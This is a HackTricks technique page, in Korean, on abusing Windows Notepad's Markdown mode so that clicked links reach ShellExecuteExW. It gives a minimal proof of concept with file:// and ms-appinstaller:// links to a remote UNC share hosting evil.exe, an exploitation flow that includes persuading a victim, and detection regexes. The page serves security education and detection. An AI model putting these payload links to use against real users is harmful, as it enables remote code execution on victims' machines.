Windows Protocol Handler / ShellExecute Abuse (Markdown Renderers)

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

Markdown/HTML을 λ Œλ”λ§ν•˜λŠ” μ΅œμ‹  Windows μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ€ μ‚¬μš©μž 제곡 링크λ₯Ό 클릭 κ°€λŠ₯ν•œ μš”μ†Œλ‘œ λ°”κΏ” ShellExecuteExW둜 μ „λ‹¬ν•˜λŠ” κ²½μš°κ°€ λ§ŽμŠ΅λ‹ˆλ‹€. μ—„κ²©ν•œ μŠ€ν‚΄ ν—ˆμš© λͺ©λ‘μ΄ μ—†μœΌλ©΄ λ“±λ‘λœ λͺ¨λ“  ν”„λ‘œν† μ½œ ν•Έλ“€λŸ¬(예: file:, ms-appinstaller:)κ°€ ν˜ΈμΆœλ˜μ–΄ ν˜„μž¬ μ‚¬μš©μž μ»¨ν…μŠ€νŠΈμ—μ„œ μ½”λ“œ μ‹€ν–‰μœΌλ‘œ μ΄μ–΄μ§ˆ 수 μžˆμŠ΅λ‹ˆλ‹€.

Windows Notepad Markdown λͺ¨λ“œμ—μ„œμ˜ ShellExecuteExW λ…ΈμΆœ

  • NotepadλŠ” sub_1400ED5D0()μ—μ„œ κ³ μ • λ¬Έμžμ—΄ 비ꡐλ₯Ό 톡해 였직 .md ν™•μž₯μžμ— λŒ€ν•΄μ„œλ§Œ Markdown λͺ¨λ“œλ₯Ό μ„ νƒν•©λ‹ˆλ‹€.
  • μ§€μ›λ˜λŠ” Markdown 링크:
  • ν‘œμ€€: [text](target)
  • Autolink: <target> (λ Œλ”λ§λ˜μ–΄ [target](target)κ°€ λ˜λ―€λ‘œ, λ‘˜ λ‹€ νŽ˜μ΄λ‘œλ“œμ™€ 탐지에 μ€‘μš”ν•©λ‹ˆλ‹€.)
  • 링크 클릭은 sub_140170F60()μ—μ„œ 처리되며, 이 ν•¨μˆ˜λŠ” μ•½ν•œ 필터링을 μˆ˜ν–‰ν•œ λ‹€μŒ ShellExecuteExWλ₯Ό ν˜ΈμΆœν•©λ‹ˆλ‹€.
  • ShellExecuteExWλŠ” HTTP(S)뿐 μ•„λ‹ˆλΌ κ΅¬μ„±λœ λͺ¨λ“  ν”„λ‘œν† μ½œ ν•Έλ“€λŸ¬λ‘œ μ „λ‹¬ν•©λ‹ˆλ‹€.

νŽ˜μ΄λ‘œλ“œ 고렀사항

  • 링크의 λͺ¨λ“  \\ μ‹œν€€μŠ€λŠ” ShellExecuteExW 호좜 전에 \\κ°€ \둜 μ •κ·œν™”λ˜μ–΄ UNC/경둜 ꡬ성 및 탐지에 영ν–₯을 λ―ΈμΉ©λ‹ˆλ‹€.
  • .md νŒŒμΌμ€ 기본적으둜 Notepad에 μ—°κ΄€λ˜μ–΄ μžˆμ§€ μ•ŠμŠ΅λ‹ˆλ‹€; ν”Όν•΄μžκ°€ μ—¬μ „νžˆ νŒŒμΌμ„ Notepadμ—μ„œ μ—΄κ³  링크λ₯Ό 클릭해야 ν•˜μ§€λ§Œ, λ Œλ”λ§λœ ν›„μ—λŠ” 링크가 클릭 κ°€λŠ₯ν•΄μ§‘λ‹ˆλ‹€.
  • μœ„ν—˜ν•œ μ˜ˆμ‹œ μŠ€ν‚΄:
  • file:// β€” 둜컬/UNC νŽ˜μ΄λ‘œλ“œλ₯Ό μ‹€ν–‰ν•˜κΈ° μœ„ν•΄ μ‚¬μš©λ©λ‹ˆλ‹€.
  • ms-appinstaller:// β€” App Installer 흐름을 νŠΈλ¦¬κ±°ν•©λ‹ˆλ‹€. λ‘œμ»¬μ— λ“±λ‘λœ λ‹€λ₯Έ μŠ€ν‚΄λ„ μ•…μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€.

Minimal PoC Markdown

[run](file://\\192.0.2.10\\share\\evil.exe)
<ms-appinstaller://\\192.0.2.10\\share\\pkg.appinstaller>

μ•…μš© 흐름

  1. Notepadκ°€ Markdown으둜 λ Œλ”λ§ν•˜λ„λ‘ .md file을 λ§Œλ“­λ‹ˆλ‹€.
  2. μœ„ν—˜ν•œ URI μŠ€ν‚΄(file:, ms-appinstaller:, λ˜λŠ” μ„€μΉ˜λœ ν•Έλ“€λŸ¬)을 μ‚¬μš©ν•˜λŠ” 링크λ₯Ό μ‚½μž…ν•©λ‹ˆλ‹€.
  3. νŒŒμΌμ„ 전달(HTTP/HTTPS/FTP/IMAP/NFS/POP3/SMTP/SMB λ“±)ν•˜κ³  μ‚¬μš©μžκ°€ Notepadμ—μ„œ 열도둝 μ„€λ“ν•©λ‹ˆλ‹€.
  4. 클릭 μ‹œ μ •κ·œν™”λœ 링크가 ShellExecuteExW에 μ „λ‹¬λ˜κ³  ν•΄λ‹Ή ν”„λ‘œν† μ½œ ν•Έλ“€λŸ¬κ°€ μ‚¬μš©μž μ»¨ν…μŠ€νŠΈμ—μ„œ 참쑰된 μ½˜ν…μΈ λ₯Ό μ‹€ν–‰ν•©λ‹ˆλ‹€.

탐지 아이디어

  • λ¬Έμ„œλ₯Ό μ „λ‹¬ν•˜λŠ” 데 ν”νžˆ μ‚¬μš©λ˜λŠ” 포트/ν”„λ‘œν† μ½œμ„ 톡해 μ „μ†‘λ˜λŠ” .md νŒŒμΌμ„ λͺ¨λ‹ˆν„°λ§ν•©λ‹ˆλ‹€: 20/21 (FTP), 80 (HTTP), 443 (HTTPS), 110 (POP3), 143 (IMAP), 25/587 (SMTP), 139/445 (SMB/CIFS), 2049 (NFS), 111 (portmap).
  • Markdown 링크(standard 및 autolink)λ₯Ό νŒŒμ‹±ν•˜κ³  λŒ€μ†Œλ¬Έμž ꡬ뢄 없이 file: λ˜λŠ” ms-appinstaller:λ₯Ό μ°ΎμŠ΅λ‹ˆλ‹€.
  • 원격 λ¦¬μ†ŒμŠ€ 접근을 ν¬μ°©ν•˜κΈ° μœ„ν•œ 벀더 κ°€μ΄λ“œ μ •κ·œμ‹:
(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}
(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}
  • 패치 λ™μž‘μ€ 보고에 λ”°λ₯΄λ©΄ allowlists local files and HTTP(S); ShellExecuteExW에 λ„λ‹¬ν•˜λŠ” λ‹€λ₯Έ λͺ¨λ“  것은 μ˜μ‹¬μŠ€λŸ½μŠ΅λ‹ˆλ‹€. μ‹œμŠ€ν…œλ§ˆλ‹€ 곡격 ν‘œλ©΄μ΄ 달라 ν•„μš”μ— 따라 λ‹€λ₯Έ μ„€μΉ˜λœ ν”„λ‘œν† μ½œ ν•Έλ“€λŸ¬μ— λŒ€ν•œ 탐지λ₯Ό ν™•μž₯ν•˜μ„Έμš”.

References

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°